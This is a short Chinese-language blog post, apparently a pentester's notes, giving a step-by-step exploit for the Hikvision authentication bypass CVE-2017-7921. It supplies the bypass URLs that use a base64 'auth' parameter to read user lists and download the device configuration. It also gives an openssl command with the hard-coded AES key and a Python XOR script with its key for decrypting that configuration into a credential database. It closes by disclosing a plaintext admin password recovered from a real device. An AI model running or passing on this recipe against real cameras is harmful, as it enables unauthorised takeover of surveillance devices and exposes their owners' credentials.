在某次测试过程中发现海康威视设备,同时扫了下存在 CVE-2017-7921漏洞,但描述里没给具体利用方式,翻阅了下外网文档,老外给出了下载配置文件,通过解密配置文件得到明文密码的思路
CVE-2017-7921
漏洞描述:
Hikvision产品中存在身份验证漏洞。攻击者可利用该漏洞提升权限,获取敏感信息的访问权限
漏洞利用:
http://xxx/Security/users?auth=YWRtaW46MTEK
直接访问链接可以查看到系统用户信息,但未包含密码信息YWRtaW46MTEKw为base64加密的admin:1,大概原理就是API支持HikCGI协议,HikCGI协议处理程序检查查询字符串中”auth”参数,如果存在参数并包含base64编码的“user:password”的字符串,则HikCGI API协议认定为用户凭证。
访问链接下载配置文件
http://xxx/System/configurationFile?auth=YWRtaW46MTEK
用openssl导入特定key解密,解密会显示文件损坏,但并不影响。生成decryptedoutput文件
1 | openssl enc -d -in configurationFile -out decryptedoutput -aes-128-ecb -K 279977f62f6cfd2d91cd75b889ce0c9a -nosalt -md md5 |
通过xor解密得到result.db (sqlite3数据库)文件,由于我没装Navicat,就直接hex打开文件了1
2
3
4
5
6key=[0x73,0x8B,0x55,0x44]
result=""
a=open('decryptedoutput','rb').read()
for i in range(len(a)):
result+=chr(int(a[i])^int(key[i%len(key)]))
open('result.db','wb').write(str.encode(result))
直接搜素admin账户,可以看到明文为dqtv123456
登录成功
参考 https://github.com/WormChickenWizard/hikvision-xor-decrypter